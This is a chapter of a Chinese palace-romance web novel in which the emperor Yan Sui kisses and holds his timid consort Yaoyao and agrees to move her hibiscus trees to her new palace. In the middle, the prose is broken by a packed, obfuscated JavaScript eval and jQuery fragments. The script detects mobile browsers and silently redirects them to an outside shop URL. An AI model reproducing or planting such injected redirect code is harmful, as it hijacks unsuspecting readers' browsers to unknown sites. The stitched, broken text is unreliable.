窈窈懵懵地睁着眼,唇瓣微启,他便钻了进来。属于男性的霸道而炽烈的气息瞬间充盈了整个口腔,冲得她头脑发昏。
她不明白,方才还好好说着话,他怎么一言不发就突然亲上来了?
她什么都没有做呀。
男人挺直的鼻梁抵着她柔软的脸颊,呼吸轻轻洒在脸上,痒痒的。窈窈眨了眨眼,视线模糊中,忽然发现他的睫毛好密好长,垂落时像把小扇子,轻轻打在眼下。
她不知不觉看出了神,直到那双半阖的眼忽地睁开,一双深沉的眼眸恰恰与她四目相对。
窈窈心跳“扑通”一下失了序,热气“腾”地窜上脸颊。她看见自己的影子映在他眼底,小小的,颤颤的。
她想躲,可他没让她躲。
他眼眸微眯了眯,唇略微撤出一些,若即若离地与她碰着,像在逗弄她。
窈窈还没喘匀那口气,忽然一阵天旋地转。她惊呼一声,回过神来,已仰面躺在他膝上,他稳健的手臂紧紧托着她悬空的背,在她惊慌的神色中,再次吻了下来。
“唔……”
窈窈不由攥紧他的衣裳,这样悬空的姿势让她很没有安全感,整个人像一片落叶,只能攀着他才能不掉下去。
察觉出她的不安,燕隋眉梢微挑,一只手缓缓上移,牢牢扣紧她的后脑,将她压向自己。
太霸道了,也太强势了。
窈窈完全承受不住,娇小的身子蜷在他怀里瑟瑟发抖。她闭着眼,睫毛轻轻颤着,鼻间溢出细微的呜咽声。
快呼吸不过来了……
她脸颊憋得通红,从雪白的颈一直红到耳朵尖,连指尖都透出淡淡的粉色,可他丝毫没有放开的意思,反而更紧了。
窈窈觉得自己要死了,他再不松开她,她就要活生生憋死在他怀里了。
好在,他没有当真让她以这么不体面的方式死去。他松开了她,那双眸子又深又沉,像浓云一般压下来,沉甸甸地盯着她绯红的脸。
窈窈终于逃出生天,莹润的唇瓣张着,轻轻地喘着气,好一会儿,头脑才渐渐清醒过来。
可她没了站起来的力气,连手都只是软绵绵拽住他的衣襟,整个人瘫在他的怀里,像化成了一汪水动弹不得。
窈窈有些怕了。来燕国之前,所有人都告诉她燕帝是个不近女色的暴君,她也是这样以为的。可他从第一次亲了她开始,动作就激烈得如风卷残云,像要把她吞噬殆尽一般。
这还没有真正侍寝呢,等到了那一天,她不会死在床榻上吧。
窈窈却不知道,她这副柔弱无依的模样落在男人眼里,有多么诱人。
燕隋从未想过,自己也会有欲|念迸发、难以自抑之时,一触到她的身子,体内沉寂的血液就被点燃了,精神前所未有的亢奋、躁动。
若不是夏无疾检查过她的身子,他都险些怀疑越帝是不是在她身上种下了什么蛊。
他用了些工夫,才将激起的欲|念压制下去,修长的手指慢悠悠地揉搓着她柔软的腰窝,眼眸中带着餍足的愉悦。
“陛……陛下……”窈窈在他手中簌簌地发抖,眼尾泛着缠绵湿润的红,无力地哀求着。
燕隋指尖一滞,手臂用力将她从膝上抱起,让她靠在自己怀里,像抱着一个孩子般紧紧搂着她。
左右人都已经到了他的手里,他有的是时间慢慢品尝,不急于一时。
窈窈在他怀里蜷着,一动不敢动。她耳边能听到他胸膛的起伏,一下又一下,比方才平稳了许多。
她忽然想到了母妃,年幼的时候,母妃也曾这样将她紧紧搂在怀里,后来母妃不在了,再没有人这样抱过她。
“这蘅芜宫地方太小,待琼华宫修缮好,你就搬进去。”燕隋眼睛四下一扫,几乎就将整个宫殿看了个彻底。
当初她进宫时,他嫌麻烦就随口指了个偏远的地方给她安置,如今看来这地方太破太小,离明光宫也太远。
将来他总要宠幸她,每次过来都要绕大半个后宫,实在麻烦。琼华宫虽不算华丽,但离明光宫最近,修缮之后也能勉强住人。
窈窈听他说起,才想起自己要迁宫的事,她犹豫了一下,小声道:“我觉得蘅芜宫挺好的。”
燕隋视线落回她的身上:“你不想搬?”
窈窈担忧自己拒绝会惹他不悦,手心轻轻攀着他的胸膛,侧脸柔顺地贴上去蹭了蹭:“我都听陛下的。”
怀里的女子紧贴着他的胸膛,侧脸蹭过的地方还残留着一点温软的触感。他掌心轻轻摩挲了一下她的后脑,声音里听不出什么喜怒:“方才不是说蘅芜宫都挺好的,现在又都听朕的了?”
窈窈眼睫颤了颤,低声道:“我……我是觉得挺好的,可陛下想让我搬,我就搬。”
燕隋垂目看着她,她埋在他的怀里,让他看不清她脸上的神情。
他不太喜欢这种感觉,于是将她的脸捞出来,逼她看着自己。
“朕问你,你是真觉得蘅芜宫好,还是不想搬?”
窈窈愣住了,她没想到他会问得这么直白。她张了张嘴,想说“都听陛下的”,可话到嘴边,对上他那双深沉的眼眸,忽然说不出口了。
他好像在等她说出真话,可是……她真的能说么?
她垂下眼,睫毛轻轻颤抖着,手指无意识地攥着他的衣襟,攥了又松,松了又攥。
燕隋也不催她,只是用那双眼静静看着她。
过了很久,窈窈才小声地开口:“我……我喜欢蘅芜宫外的木芙蓉。”
她的声音越来越低,及至最后已低得像蚊子哼哼:“搬走了……就看不到了……”
燕隋沉默了一会儿,忽然低低地笑了一声。
窈窈一怔,她好像很少听到他如此愉悦,不带讽意的笑声。她偷偷地抬眼,正对上他那双含着笑意的眼。那确实是笑,虽然笑意极淡。
“就为了这个?”他问。
窈窈眼神迷惑,不明白他为什么笑。
木芙蓉……很重要啊。
那是她来燕国后第一个喜欢的东西,她病好后再一次见到他,也是在木芙蓉下,也是从那一次,她终于赶朝他多走了一步。那些花陪了她这么久,现在要搬走了,她舍不得。
燕隋指尖动了动,最后还是落在她发顶,轻轻揉了揉。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240727|197720||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“琼华宫也有花。”他语气淡淡的,甚至带着点嫌弃,“御花园就在旁边,什么花没有?几棵木芙蓉,也值得你这样?”
窈窈仍旧闷闷的,再多的花都不是她喜欢的,她就是只喜欢木芙蓉。
可是跟这个暴君,根本说不通。
燕隋看着她抿紧的唇,心底冷哼一声,他还没开始宠她,她居然都敢跟他耍起小性子来了?
他捏了捏她嫩生生的耳垂,冷声道:“朕命人将这里的木芙蓉移到琼华宫,再多种上几棵,总可以了?”
窈窈闻言,惊讶地抬头,没想到他会为了自己如此大费周章。
她禁不住怀疑——难道自己真的天赋异禀,是个做妖妃的好苗子?
燕隋眼神带着轻蔑:“还想要什么?”
就这小废物胆小的性子,连几朵破花都不敢跟他开口。难道他会对自己的女人如此吝啬么?他都封她做了贵妃,她还有什么是不敢想的?
窈窈越发惶恐,懵懵地看着他。从来没有人问过她想要什么。都是别人给她什么,她就接受什么。
原来……她也可以要求,可以选择的吗?
“我……”窈窈脑海中一瞬间闪过许多东西,可是又什么都没有抓住。她摇摇头,“陛下已经给了我很多啦。”
锦衣玉食,宠爱尊荣。
这都是她从前不敢妄想的。
小的时候,她看着宣阳珠钗华服,被父皇抱在膝上,心里羡慕不已。可是轮到自己,却只能默默地缩在角落里。
后来她长大了,渐渐地就不再想了。到现在,能安安稳稳地活着,还能吃饱穿暖,她就已经万分满足。
燕隋轻哼:“出息。”
窈窈轻轻鼓起腮帮,她就是这么没出息嘛。谁说人人都要像他一样心怀高远、锐气薄发?
不过……他这样厉害,想必从小定是十分受宠的吧。
窈窈对燕国所知不多。唯一知晓的,是他弑父杀兄篡位。
可他这么厉害,前燕帝怎么没有立他做太子呢?
这一刻,窈窈才发现自己对他了解的实在太少了,她对他的认识,竟然大部分都来自于道听途说。
宣阳说他残暴无情,父皇说他狼子野心,所有人都说他是个暴君,她心底便也这么以为。
可其实,他还是跟传闻中有许多不同的。虽然他确实阴晴不定、喜怒无常,嘴巴也很坏,动作也很粗鲁,可他对自己还是很好的。
给她封贵妃,给她送珠宝,给她撑腰,给她移木芙蓉……
还这样抱着她,一下一下地抚着她的后背,像是在哄着她似的。
窈窈忽然想到,往后她就是他的妃子了,如果没有意外,她将来也只会有他一个男人,要和他一起,慢慢地变老。
那她……是不是该对他多了解一些?至少要熟知他喜欢什么,不喜欢什么,万一哪天她惹他生气了,也好知道该怎么哄。
窈窈在他怀里悄悄抬起头,望着那张冷硬却俊美的侧脸。昏昧的光线落在他脸上,明明暗暗的,看不清神情。
她鼓起勇气,小声地问:“那陛下呢?陛下想要什么?”